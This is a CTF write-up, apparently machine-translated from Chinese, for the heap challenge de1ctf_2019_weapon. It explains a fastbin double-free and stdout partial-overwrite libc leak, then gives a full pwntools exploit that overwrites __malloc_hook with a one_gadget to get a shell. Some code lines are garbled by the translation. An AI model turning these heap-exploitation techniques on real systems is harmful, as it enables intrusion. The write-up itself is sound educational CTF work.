(this is the first pile of topics that I really did by myself. Although it took nearly three hours, I would like to commemorate it with this article.)
I won’t let go of the routine check of the problem and put the program into IDA
The logic of the program is very simple, and the vulnerability is also very obvious
The point is that this program does not give us the show function, so we thought of the two methods of blasting stdout and house of force for the first time, but the house of force needs to overflow to modify topchunk, so this topic uses blasting io_ Stdout to do
The idea of this problem is to release chunk in the unsorted bin to obtain the value of aren. Note that the program is opened alsr, but the last three digits of the address are fixed, so we need to modify the value of aren to_ IO_ 2_ 1_ stdout_- The value of 0x43 is applied to this position by exploding a byte
I modify the value of aren by nesting chunks in chunks, and then when we modify IO_ After the value of stdout, the value of libc will be printed, and we can go to malloc_ The value of hook is overwritten with one_ Get the value of the gadget to the shell
The complete exp is as follows:
from pwn import *
#p = process('./de1ctf_2019_weapon')
elf = ELF('./de1ctf_2019_weapon')
libc = ELF('./libc-2.23.so')
def launch_gdb():
context.terminal = ['xfce4-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0])
def add(size,index,content):
p.sendlineafter('choice >> ','1')
p.sendlineafter('wlecome input your size of weapon: ',str(size))
p.sendlineafter('input index:',str(index))
p.sendafter('input your name:',content)
def edit(index,content):
p.sendlineafter('choice >>','3')
p.sendlineafter('idx: ',str(index))
p.sendafter('content: ',content)
def free(index):
p.sendlineafter('choice >>','2')
p.sendlineafter('idx :',str(index))
def pwn():
#launch_gdb()
add(0x50,0,'aaaa')
Add (0x50,1, b'a '* 0x40 + p64 (0) + p64 (0x6f)) # forges the chunk into the chunk so that the chunk of UAF can be applied here to modify the size of the next chunk
add(0x50,2,'aaaa')
add(0x60,3,'aaaa')
add(0x50,4,'aaaa')
add(0x60,5,'aaaa')
free(0)
free(1)
free(0)
Add (0x50,0, '\ xb0') # modifies the value of FD and changes the linked list structure
add(0x50,1,'aaaa')
add(0x50,0,'aaaa')
Add (0x50,7, p64 (0) + p64 (0xd1)) # note that D1 here must not be filled in casually, but just cover the size of the next chunk
free(2)
free(3)
Add (0x50,8, 'a') # restores the modified chunk of 0xd1 size
add(0x50,9,'a')
add(0x50,10,'a')
Free (2) # here UAF's chunk is also a little fastidious. You need to be able to apply to the last location of the leaked chunk. You can't use UAF casually
free(4)
free(2)
add(0x50,2,'\x10')
add(0x50,4,'aaaa')
Add (0x50,2, b'a '* 0x40 + p64 (0) + p64 (0x6f)) # modify the contents of the chunk so that the next chunk can apply to the position of 0x10
add(0x50,11,p64(0)+p64(0x71)+b'\xdd\x25')
add(0x60,3,'aaaa')
add(0x60,12,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')
libc_ base = u64(p.recvuntil('\x7f')[-6:]. Ljust (8, B '\ X00') - 0x3c5600 # blasting IO_ After the value of stdout, the first / x7f encountered will be printed, so the offset cannot be directly subtracted to obtain libc -- base
if libc_base == -0x3c5600:
exit(-1)
print('libc_base-->'+hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base+one[2]
print('one_gdbget-->'+hex(one_gadget))
add(0x60,13,'a')
add(0x60,14,'a')
add(0x60,15,'a')
free(13)
free(14)
free(13)
add(0x60,13,p64(malloc_hook-0x23))
add(0x60,14,'a')
add(0x60,13,'a')
add(0x60,16,b'a'*0x13+p64(one_gadget))
free(0)
free(0)
p.interactive()
if __name__=='__main__':
while True:
#p=process('./de1ctf_2019_weapon')
p = remote('node4.buuoj.cn','25633')
try:
pwn()
except:
p.close()
(Tucao index, the topic I chose is really troublesome, and I make complaints about it for a long time.)